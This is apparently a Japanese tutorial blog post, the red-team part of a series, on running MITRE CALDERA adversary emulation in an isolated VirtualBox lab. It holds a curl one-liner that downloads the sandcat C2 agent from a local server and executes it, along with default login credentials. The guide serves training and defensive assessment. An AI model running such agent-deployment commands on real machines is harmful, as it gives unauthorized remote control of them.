サイバーセキュリティ・フレームワーク「MITRE CALDERA」紹介：使用方法・レッドチーム編

# サイバーセキュリティ・フレームワーク「MITRE CALDERA」紹介：使用方法・レッドチーム編

## はじめに

### 趣旨

本記事は、『サイバーセキュリティ・フレームワーク「MITRE CALDERA」紹介』の 第二弾「使用方法・レッドチーム編」です。
本編では、模擬サイバー攻撃を実施するレッドチームでの MITRE CALDERA の使い方を紹介します。
機能概要や環境構築につきましては第一弾「[機能概要・動作環境構築編](https://qiita.com/shiracamus/items/658ea3e5b28fa5ae3245)」をご覧ください。

### 記事構成

紹介内容が多いため、以下の4記事に分けて紹介しています。

* [機能概要・動作環境構築編](https://qiita.com/shiracamus/items/658ea3e5b28fa5ae3245)
* 使用方法：レッドチーム編（本記事）
* [使用方法：ブルーチーム編](https://qiita.com/shiracamus/items/d2ec398ff6918297ed51)
* [使用方法：トレーニング編](https://qiita.com/shiracamus/items/9c27b08214956b334311)

### 注意・免責事項

本記事には、サイバー攻撃を模擬再現する方法が含まれています。
これは、サイバー攻撃されることによってどのような事象が発生するのか、どう対処すれば良いのかを確認・検討・改善したり、サイバーセキュリティ人材育成に活用することが目的です。
他のシステムやネットワークに影響を与えないように、閉じたネットワーク環境を作って実施してください。
許可を得ていない相手に対して実施した場合、不正アクセス禁止法などの法律に抵触しますので、絶対にやめてください。

本記事の内容は私個人の見解であり、所属する組織の公式見解ではありません。
本記事に書いてあることを試して、利用者および第三者に何らかのトラブル・被害・損害が発生しても、筆者および所属組織では一切責任を負いません。

## 概要

レッドチームは、サイバー攻撃者の視点を持って組織のシステムやサービスの脆弱個所を洗い出し、模擬的なサイバー攻撃を仕掛け、組織のサイバー攻撃対処能力評価や改善提案などを組織に報告します。
MITRE CALDERA は、 実際に利用されたサイバー攻撃テクニックおよびサイバー攻撃シナリオに基づいて模擬サイバー攻撃を実施する機能があり、レッドチームの活動支援や人材育成に活用できます。

### サイバー攻撃テクニック と サイバー攻撃シナリオ

MITRE CALDERA で 「Abilities」(能力) と表記されているものを、本記事では「攻撃テクニック」と表記しています。Abilities は、[MITRE ATT&CK の Webサイト](https://attack.mitre.org/) で整理されている TTPs (Tactics, Techniques and Procedures、戦術・技術・手順) のことです。攻撃テクニックは [Enterprise Technique](https://attack.mitre.org/techniques/enterprise/) などに整理されていて、攻撃テクニック毎に `T数字` の ID が割り振られています。
また、MITRE CALDERA で 「Adversaries」(敵対者) と表記されているものを、本記事では「攻撃シナリオ」と表記しています。Adversaries には、どの攻撃テクニックをどの順番で実施するのかが定義されています。
MITRE CALDERA 2.6.6 では、Stockpile プラグイン によって 219種類 の 攻撃テクニック (Abilities) と 16種類 の 攻撃シナリオ (Adversaries) を提供しています。
![red_stockpile.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/ab838010-0e45-78af-9846-dc157391cd01.png)

提供されている攻撃シナリオを編集して新たな攻撃シナリオを作ることもできます。
また、[ATT&CK Evaluations](https://attackevals.mitre.org/about-attack-evaluations.html) で使用された攻撃シナリオが MITRE CALDERAプラグインとして公開されており、プラグインを追加インストールすることで攻撃シナリオの追加もできます。

参考：

* ATT&CK Evaluations Round 1: [APT3 シナリオ CALDERAプラグイン](https://github.com/mitre-attack/evals_caldera)
* ATT&CK Evaluations Round 2: [APT29 シナリオ CALDERAプラグイン](https://github.com/mitre-attack/attack-arsenal/tree/master/adversary_emulation/APT29/CALDERA_DIY/evals)

### 使用方法概要

レッドチームが MITRE CALDERA を使用する方法として大きく2種類あります。

* 自動実行: 攻撃シナリオを自動実行し、エージェントも自動操作する
* 手動実行: 攻撃シナリオを自動実行し、エージェントを手動操作する

自動実行は、組織（ブルーチーム）のサイバー攻撃対処力の確認や、対処方法検討、改善確認などに利用できます。
手動実行は、レッドチームのスキルを活用した模擬サイバー攻撃の実施や、人材育成に活用できます。
本記事では、脆弱性評価などに活用できる自動実行手順について紹介します。

### 使用手順概要

1. MITRE CALDERA サーバにて
   1. MITRE CALDERA サーバ起動
1. エージェント端末（疑似感染端末）にて
   1. MITRE CALDERA サーバにログイン
   1. エージェントスクリプトを入手して実行
1. レッドチーム端末にて
   1. MITRE CALDERA サーバにログイン
   1. サイバー攻撃シナリオ作成・編集・確認（必要であれば）
   1. キャンペーン作成（エージェントと攻撃シナリオを選択）
   1. キャンペーン実行
   1. エージェント操作（手動実行時）
   1. 実行結果確認

## 環境構築（ソフトウェア追加）

「機能概要・動作環境構築編」で、MITRE CALDERA サーバを動作させるための環境構築手順を示しましたが、攻撃シナリオを実行するための環境構築が必要です。
必要なソフトウェアおよびインストール方法を以下に示します。
なお、本記事では、Ubuntu Linux 1台で MITRE CALDERA サーバ、疑似感染端末（でエージェント端末）、レッドチーム端末 を動かす手順を説明するため、Ubuntu Linux ですべて行います。

### MITRE CALDERA サーバ

MITRE CALDERA のエージェントの中に [Go言語](https://ja.wikipedia.org/wiki/Go_(プログラミング言語)) で書かれたプログラムがあり。Go言語コンパイラのインストールが必要です。
環境構築編に書いた `install.sh` を実行することで Go言語コンパイラもインストールされるようになっているのですが、Linuxディストリビューションによっては正しくインストールできていない場合があります。（Ubuntu 20.04ではインストールできていませんでした）
以下に示すコマンドのいずれかで go コマンドが存在するか確認し、存在しない場合には手動でgoコンパイラをインストールします。

```text
$ type go
$ command -v go
$ which go
$ whereis go
```

Ubuntu Linux 20.04 であれば、以下のコマンドでインストールできます。

```text
$ sudo apt install golang-go
```

goコンパイラを手動でインストールしたら、MITRE CALDERA の `install.sh` を再実行します。

### エージェント実行端末（疑似感染端末）

MITRE CALDERA サーバにアクセスしてエージェントをダウンロードするために、以下のアプリケーションが必要です。インストールされていない場合、手動でインストールします。
Ubuntu Linux であれば、以下のコマンドでインストールできます。

* Google Chrome Web ブラウザ
* curlコマンド

Ubuntu Linux 20.04 であれば、以下のコマンドでインストールできます。

```text
$ sudo apt install chromium-browser
$ sudo apt install curl
```

### レッドチーム端末

MITRE CALDERA サーバにアクセスして攻撃シナリオを実行するために、以下のアプリケーションが必要です。
インストールされていない場合、手動でインストールします。
Ubuntu Linux 20.04 であれば、以下のコマンドでインストールできます。

```text
$ sudo apt install chromium-browser
```

## ローカル環境での模擬サイバー攻撃実施手順

Ubuntu Linux VM 1台 だけを使って、攻撃シナリオを自動実行する手順を示します。
VM 1台で疑似サイバー攻撃が完結するので、関係ないマシンを誤って攻撃する心配がありません。
MITRE CALDERA でどんなことができるのか、まずは安全なローカル環境で実施します。

### システム構成

VirtualBox の中で Ubuntu Linux VM を起動し、Ubuntu Linux VM の中で各種操作を行います。
本記事では、Ubuntu 20.04 Desktop で動作確認しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/aed4d3db-2178-b856-e1cb-4ab3f60cc84e.png)

### 操作手順

Ubuntu Linux VM 1台の中で以下に示す操作を行います。

#### MITRE CALDERA サーバ起動

Ubuntu Linux で端末アプリケーション(コマンドシェル)を開き、以下のコマンドを実行します。

```command
$ cd caldera
$ source calderaenv/bin/activate
$ python server.py
```

#### レッドチームログイン

Google Chrome Webブラウザを起動します。
アプリケーション一覧の中から「Chromium ウェブ・ブラウザ」を起動するか、端末で新たなウィンドウを開いて、以下のコマンドを実行します。

```command
$ chromium-browser
```

WebブラウザのURL欄に以下のURLを入力します。

```text
http://localhost:8888/
```

以下に示すaccess画面が表示されるので、`username`欄 に `red` を、`password`欄 に `admin` を入力して `Log in` ボタンを押すとログインできます。

![login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/5ef06fd1-91f9-e864-b5db-c8c701d490ca.png)

ログインすると以下のホーム画面が表示されます。
最上部にメニュー項目が並んでいます。
メニュー項目名の上にマウスカーソルを移動するとサブメニューが表示されます。

![red_top.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/8e1e07f3-dc63-e23c-eb27-b11522cfc2f2.png)

#### エージェント起動

MITRE CALDERA サーバ から エージェントスクリプト を入手し、端末でエージェントスクリプトを実行してエージェントを起動します。
エージェントスクリプトの入手手順を以下に示します。

1. Webブラウザの Campaignsメニュー にマウスカーソルを移動
1. サブメニューが表示されるので agents を左クリック
   ![red_menu_agents.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/95728849-656c-f395-8113-696eee1518ba.png)
1. Agents画面が表示されるので、左側で点滅している「Click here to deploy an agent」をクリック
   ![red_agents.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/420b0547-80da-8ddc-0c2e-b6720e04f060.png)
1. エージェント選択画面が表示されるので「choose an agent」をクリック
1. 「54ndC47: A GoLang agent witch communicates through the HTTP connection」を選択して左クリック
    54ndC47 は[leet](https://ja.wikipedia.org/wiki/Leet)文字で sandcat と読みます。
    Pluginsメニューの中の sandcat をクリックすると表示されますが、cat は coordinated access trojan の略だそうです。
   ![red_agent_sandcat.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/7bf6c401-b9b3-0b2c-5797-17a5e35156d6.png)
1. OSのアイコンと用途に応じたスクリプトが複数表示されるので、Ubuntu Linux のアイコンが表示されるまでスクロールダウン
1. 「A GoLang agent which communicates through the HTTP contact (sh)」の下に書かれているスクリプトをマウスでドラッグ選択し、左クリックして「コピー」を選んでクリップボードにコピー
   ![red_agent_golang.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/6dc3b8b9-5b07-4973-ec71-ee7427c30b1c.png)

エージェントスクリプトの実行手順を以下に示します。

1. 端末アプリケーションで新たなウィンドウを開く
2. 端末ウィンドウ上でマウスを右クリックして「ペースト」を選択
   クリップボード内のスクリプトが入力されます。
3. 改行キーを入力してスクリプトを実行

スクリプトがうまくコピー＆ペーストできない場合は、以下の文字列を新たな端末を開いて入力して実行します。

```command
server="http://127.0.0.1:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > sandcat.go;chmod +x sandcat.go;./sandcat.go -server $server -group red -v
```

起動すると、以下のようなログが表示されます。
最後から2行目の「bootstrap-wlsrjs-0」の`wlsrjs`がエージェントの名前です。名前は起動する毎に変化します。

```terminal
Started sandcat in verbose mode.
server=http://127.0.0.1:8888
group=red
privilege=User
initial delay=0
c2 channel=HTTP
allow p2p receivers=false
Beacon API=/beacon
[+] beacon: ALIVE
[*] Running instruction bootstrap-wlsrjs-0
[+] beacon: ALIVE
```

最後に、Web画面をスクロールアップして、スクリプト選択枠の一番上にある「✖」ボタンをクリックして選択画面を閉じます。

#### エージェント接続確認

Web画面の agents 画面に、エージェント名が表示されていればエージェント起動成功です。

![red_connected_agents.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/bac81699-09a0-a5fa-2d59-3c6f9fac260a.png)

#### 攻撃シナリオ確認

Campaigns メニューの adversaries で攻撃シナリオを確認できます。
攻撃シナリオ確認手順を以下に示します。

1. Webブラウザの Campaignsメニューにマウスカーソルを移動
1. すぐ下にサブメニューが表示されるので、adversaries を左クリック
   ![red_menu_adversaries.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/75580004-7800-0c86-9359-2593c73bb106.png)
1. プルダウンをクリックすると攻撃シナリオ一覧が表示されるので、適当に選んで内容を確認
   ![red_adversary_discovery.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/5b9bcaad-6fa6-4bca-2cfc-c7a91b7b7128.png)

攻撃シナリオには、いくつかのフェーズ(Phase)があります。フェーズ毎に模擬サイバー攻撃が行われます
各フェーズに攻撃テクニックが並んでいます。各攻撃テクニックの実行順序は Planner によって決まるのですが、MITRE CALDERA 2.6.6 では sequential planner のみ提供されていて順に実行されます。（MITRE CALDERA 2.7.0 では Planner が 3 種類に増えています）
各攻撃テクニックには、説明と有効なOSのロゴマークが並んでいます。 OSが合わなくても実行し、実行結果が失敗になります。

なお、「`+ add pack`」 や 「`+ add ability`」 をクリックして攻撃シナリオやエージェントが実行するスクリプトを編集することもできますが、本記事での説明は割愛します。

#### キャンペーン作成

どのエージェントを使ってどの攻撃シナリオを実行するのかをキャンペーンとして登録します。
キャンペーン登録手順を以下に示します。

1. Campaigns メニューにマウスを移動
2. サブメニューが表示されるので、その中の operations メニューをクリック
   ![red_menu_operations.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/25d40f04-f3ac-a0fa-7064-2364e0ddfd52.png)
3. 左側の「View」をクリックして「Add」にする
   ![red_operations_view.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/7a540de5-8e07-dbaf-956c-062c9e8a28a6.png)
4. オペレーション名を入力  
   オペレーション名は自由に命名でき、例として「demo」にしました。
5. Basic Options をクリックする 
6. エージェントグループは「red」を選びます。  
   エージェント起動スクリプトの引数に「red」を指定したエージェントを遠隔操作します。
7. 攻撃シナリオを選びます。例として「Super Spy」を選びました。
   ![red_operations_edit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/30ddfe7f-38db-f883-5689-ce121be4538b.png)

#### キャンペーン実行

キャンペーン作成画面をスクロールダウンすると「Start」ボタンがあります。
「Start」ボタンを押すと、選択したエージェントに対して攻撃シナリオが実行されます。

![red_operations_start.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/078cbe71-6917-ad8c-58c7-95fac226b40f.png)

以下に示す画面のように、攻撃シナリオの実行状況が表示されます。

1. 画面上部に進捗割合が表示される
1. 画面下部に実施中攻撃テクニックが表示される（上側が最新）
1. 実行状態が小さな丸で色分けされて表示される
1. 1つのフェーズが終わると次のフェーズの攻撃テクニックが追加表示される

![red_operations_progress.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/3d374c38-9a42-16dc-9735-8be400dad268.png)

進捗状況表示が 100% になればシナリオ実行完了です。
シナリオの実行を一時停止したり、強制停止することもできます。

![red_operations_finished.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/145927ff-b30b-b970-a016-36df420af072.png)

#### 実行結果確認

各攻撃シナリオの右側に表示される★印クリックすると結果が表示されます。
実行途中でも表示できます。

![red_operations_result.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/d47c1e6c-0b83-6539-1570-965a9912349d.png)

左側の Download report ボタンで、実行結果をまとめてダウンロードできます。

![red_operations_report.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/d00bf413-cce1-9598-7ddb-14418599c27e.png)

## リモート環境での模擬サイバー攻撃実施手順

通常の模擬サイバー攻撃は、エージェント端末 と レッドチーム端末 を別々のマシンで用意し、MITRE CALDERA サーバにリモート接続して実施します。
しかし、VirtualBox および MITRE CALDERA サーバの標準設定ではリモート接続できないため、設定変更が必要です。
以下に示す順序で設定変更します。

1. VirtualBox の設定確認・変更
1. MITRE CALDERA サーバ VM の OSの設定確認・変更
1. MITRE CALDERA サーバ の設定変更

設定変更後、ローカル環境と同じ手順で模擬サイバー攻撃を実施できます。

### システム構成

VirtualBox の中に エージェントを起動する「エージェントVM」 と レッドチームがWeb操作する「レッドチームVM」を新規作成し、「MITRE CALDERA サーバ VM」との3台構成にします。
エージェントVM と レッドチームVM の OS は、Linux でもいいですし Windows でもいいです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/3fe95ae9-100c-1663-b7e4-e525283d755e.png)

### 設定変更

#### VirtualBox の設定確認・変更

まず、MITRE CALDERA サーバ をシャットダウンします。
VirtualBox の管理画面で MITRE CALDERA サーバ の VM を選択し、「仮想マシン」の「設定」メニューから「ネットワーク」の割り当てを確認します。

* 「**NAT**」の場合：他のマシンからリモート接続できないため、以下のいずれかに設定変更が必要です。
* 「**内部ネットワーク**」の場合： VirtualBox内に閉じたネットワークで一番安全です。各VMにIPアドレスを手動設定します。
* 「**NATネットワーク**」の場合： インターネット接続可能な内部ネットワークで、NATアダプタの設定を行います。
* 「**ブリッジ**」の場合： VirtualBox外のマシンからリモート接続可能になります。実環境に対して模擬サイバー攻撃を実施できます。危険を伴いますので細心の注意が必要です。

VirtualBox のネットワークの設定変更手順は割愛します。他の記事やブログ等を参照してください。

#### MITRE CALDERA サーバ VM の OS の設定確認・変更

OS にリモート接続可能なIPアドレスが設定されているか確認します。
Ubuntu 20.04 であれば `ip addr` コマンドで IPアドレス を確認できます。

リモート接続可能な IPアドレスが設定されていない場合、手動で IPアドレスを設定します。
OS の IPアドレスの設定変更手順は割愛します。他の記事やブログ等を参照してください。

#### MITRE CALDERA サーバ の設定変更

OSにリモート接続可能なIPアドレスを設定できたら、以下の手順で MITRE CALDERA サーバの設定を変更します。

1. Webブラウザで MITRE CALDERA サーバに red でログイン
2. Advancedメニューにマウスカーソルを移動
3. サブメニューが表示されるので、configurationをクリック
   ![red_menu_configuration.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/ca0531f5-936a-92ef-68b5-051b738b9d43.png)
4. 127.0.0.1 と書いてある部分を リモート接続可能なIPアドレス にすべて変更
5. 各欄右側にある updateボタンをクリック
   ![red_configuration.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29070/f298bae7-cd3e-27f5-0568-a462317597c6.png)
7. MITRE CALDERA サーバ (`server.py`) を再起動

エージェントスクリプトを入手して IPアドレス 部分が リモート接続可能なIPアドレス になっていることを確認します。

### 操作手順

ローカル環境と同じ手順で模擬サイバー攻撃を実施します。

## その他

### 攻撃シナリオ作成

Pluginメニューの compassプラグインをクリックすると、Webブラウザ内に [Att&ck Navigator](https://mitre-attack.github.io/attack-navigator/enterprise/) 画面が表示され、攻撃テクニックを選んで「download layer as json」でダウンロードし、「Generate Adversary Layer」の「Upload Adversary Layer」で攻撃シナリオとして追加することができます。
ただし、エージェントが実行するスクリプトがないため、自動実行はできません。
また、実行順序がなくてひとつのPhaseで選択した攻撃テクニックを実施するシナリオになるため、Adversaries画面で編集する必要があります。
攻撃シナリオ作成手順については説明事項が沢山あるため、本記事では割愛します。

## さいごに

レッドチームでの MITRE CALDERA の使用方法が伝わりましたら幸いです。
ブルーチーム編、トレーニング編の記事も順次公開します。お楽しみに。